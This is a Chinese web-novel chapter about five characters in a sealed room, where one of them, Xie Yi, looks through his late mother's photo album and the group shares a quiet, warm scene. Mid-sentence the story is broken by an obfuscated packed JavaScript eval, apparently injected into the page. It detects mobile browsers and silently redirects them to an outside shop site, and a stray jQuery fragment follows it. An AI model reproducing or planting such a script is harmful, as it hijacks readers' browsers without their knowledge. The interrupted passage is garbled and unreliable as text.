十五分钟的期限过去之后，客厅里依然安静。
系统没有再出声。也没有电击。但五个人各自维持着手上的动作，像被某种无形的惯性黏在了座位上——林安诚依然趴在茶几边沿写作业，许清寒从厨房出来了但手上还搭着一条抹布，徐晓的词典翻到了同一页第三遍了，江野坐在谢意旁边几次想开口又咽了回去。
谢意合上书，把它放回角落的小桌子上。他站起来，在客厅里走了几步，目光落在电视柜下面那只积了一层灰的白色收纳箱上。他走过去蹲下来，掀开盖子，往里看了一眼。
里面是几本旧相册和一堆散装的作业本。相册的封皮已经卷边了，颜色褪成了淡淡的米黄色。他把最上面那一本拿起来，翻开了第一页。
第一页是一张照片。黑白的老照片，边角已经发白了，上面是一个年轻女人抱着一个婴儿。女人坐在一把木椅上，背后是一面没有刷完的墙，可以看到砖缝和灰泥。她低头看着怀里的婴儿，嘴角弯着。阳光从右边照过来，把她的侧脸照得柔和而明亮。婴儿闭着眼，裹在一件白色的小衣服里，露出的手攥着一小片布料。照片没有写日期，没有写名字，没有任何标注。
谢意翻到第二页。第二页是三张照片并排，间隔很小，像被紧挨着贴在相册内页里。第一张是一个小孩站在板凳上，手臂伸开来像要飞，脸上的表情模糊成了一团笑。第二张是同一个小孩蹲在地上逗一只猫——那只猫只拍到一截尾巴。第三张是小孩坐在一张小桌前，面前摆着一个插了蜡烛的蛋糕，烛光把他的脸照得暖融融的，眉眼弯弯的。
谢意继续往后翻。相册里还有很多照片，有些是黑白的，有些是彩色的——颜色已经泛黄了。有他去上学的第一天，背着大大的书包站在校门口；有他在院子里跳绳，绳子甩起来成了一个模糊的圈；有他趴在桌子上写作业，台灯的光把影子拉得很长；有他吃西瓜，瓜汁糊了半张脸。每一张照片里的孩子都是他，他认得那些背影，那些姿态，那些歪歪扭扭的姿势。
照片里的人一直在长大。从婴儿到两三岁，到七八岁，到十来岁。个子越来越高的那个孩子在每一张照片里都笑着，不知道那时候有什么值得那么开心的事情。相册的页面一直翻到第十四页，照片里的小孩已经长到十二三岁了，瘦了很多，下巴开始有了棱角，头发有些长了垂下来遮住半边额头。他的嘴角还是翘着的，但眼睛里的光比小时候沉了一些，像水面刚起了一层薄薄的灰。
下一页，空白。再下一页，空白。往后连着七八页都是空白的，只有纸面微微泛黄的痕迹，像等待什么东西被贴上去但一直没有贴。相册的最后几页夹着一张对折的白纸，谢意把它抽出来展开。
纸上写着几行字，笔迹和那张木盒子里纸条上的字迹一致，端正工整，带着刻意维持的清晰。
"谢意的相片——一岁到十四岁。后面的还没拍。等他回来再补。"
日期写在最下面：是一个已经过去的年份。
谢意看着那几行字看了一会儿，然后把白纸重新对折夹回相册里。他合上相册，放回收纳箱里，把收纳箱的盖子也合上了。动作很轻。
他站起来的时候其他四个人都在看他。江野的目光从相册封皮上那卷边的边角收回来，嘴唇动了动，最终没有问"里面是什么"。
谢意走回沙发坐下来，紫眼睛看着窗外的白色虚空。
过了一会儿，他开口了，声音不大，像是在和房间里的空气说话："我十四岁那年冬天，她走的。冬天之前她给我拍了很多照片。每个周末都拍，有时候甚至平时放学回来她也会拉着我拍一张。她之前不常拍照的。"
他没有看任何人，也没有等谁回应。他像在自言自语，把那些浮上来的碎片一个一个从水里捞出来摆在空气里。
"她说：'等春天来了，我们一起去拍一张大的。'"
"后来没等到春天。"
他说完这几句话之后停了一会儿，然后拿起手边那本《家庭护理常识》重新翻开，翻到之前折角的那一页，继续看下去。紫眼睛垂着，呼吸是稳的。像只是把一小块压在心里很久的东西拿出来看了看，然后放回去了。
江野坐在他旁边，手放在膝盖上，一句话都没说。他只是在谢意说完"没等到春天"之后，手指在膝盖上轻轻蜷了一下。
许清寒从厨房出来把抹布挂好，走到沙发另一端坐下来。徐晓合上词典，放回桌上，双手交叠放在身前。林安诚写完了最后一道题，把笔放下，重瞳看了看谢意，然后走过去挨着他坐下来，灰兔子搁在两人之间的沙发垫上，两只耳朵搭在一起。
客厅里的安静和之前不一样了——不是"不知道该说什么"的安静，是"不需要说什么"的安静。
窗外的白色虚空依然均匀地亮着，没有早晨和黄昏的区别。但客厅里的光线比刚才稍稍暗了半度，像空调自动调低了风速一样自然。
谢意翻完最后一页，把书合上放在膝盖上，紫眼睛看着封面那褪了色的标题，说了一句话："相册里缺了十五岁以后的所有照片。但我记得十五岁那年她没有回来。"他顿了顿，"可能是她走了之后，没人给我拍了。"
江野低声接了一句："……那以后我给你拍。手机像素不行，但能凑合看。"
谢意转头看了他一眼。江野低着头挠后颈，像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814547|210992||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
那句话是不小心从嘴里掉出来的，捡回去又不好意思。他挠完脖子之后把手放下来搁在膝盖上，换了个姿势坐好。
"……不用好相机。手机就行。"他补了一句，声音比刚才更小。
谢意把目光收回去，看着膝盖上合拢的书封。"嗯。"
窗外的白光在那一刻轻微地波动了一下，像被风吹皱的湖面。然后恢复了平整。
林安诚把灰兔子抱起来，放在膝盖上捋了捋耳朵。她的重瞳在昏暗的光线里微微转了一下，看了看谢意，又看了看江野，然后低下头继续捋兔耳朵。她小声说了一句："那我也可以拍。我有手机。姐姐给我买的。"
"你手会抖。"江野说。
"你可以帮我扶着。"
"我手也抖。"
"……那谢哥哥扶。"
谢意从书页上抬起眼，看了看两个正在认真讨论"谁手抖谁不抖"的人。他的嘴角动了一下，幅度不大，只有仔细看才能看见那细微的弧度。
"都不用了。"他说，"我自拍。"
江野和林安诚同时转头看他。江野的嘴张了张，想说什么，最后变成了一句："你自拍？你那张脸对着镜头能拍出好照片来？"
"能。只要不看镜头，问题不大。"
江野愣了愣，然后发出一声短促的笑，那笑声在安静的客厅里弹了两下，像一颗石子在水面蹦了四跳才沉下去。林安诚把灰兔子的耳朵拉起来挡住了自己弯起来的嘴角。
许清寒在沙发另一端也微微弯了一下嘴角，浅棕色的眼睛里映着窗外白光，像两片被浸泡得柔软了的秋叶。徐晓推了推眼镜，把词典拿到面前翻开了新的一页——这次他终于看进去了。
客厅里的光线从偏暖的调子慢慢转向一种更温和的中性色调，像黄昏前最后一段不那么灼人的阳光。空调的低鸣持续着，五个人坐在各自的位子上，做着各自的事——林安诚重新拿了一本新的练习册开始写，许清寒拿起一本不知从哪找来的医学杂志翻看，徐晓对着词典匀速移动视线，江野靠在沙发背上闭着眼但嘴角翘着，谢意坐在他们中间，膝盖上摊着那本旧书，紫眼睛看着书页但偶尔会抬起来扫一眼房间里的人。
窗外那面白色虚空依然均匀地铺着，像一块被熨平了的旧布，看不出时间流淌的痕迹。
但房间里的时间在往前走。很慢，但确实在走。
谢意把书翻到下一页的时候，右手小指上那圈红痕在他指尖滑过纸面时微微亮了一下，像一道被系紧的细线松动了一点点，又收紧了。
他低头看了看那圈红痕，手指轻轻碰了碰它。
然后继续翻页。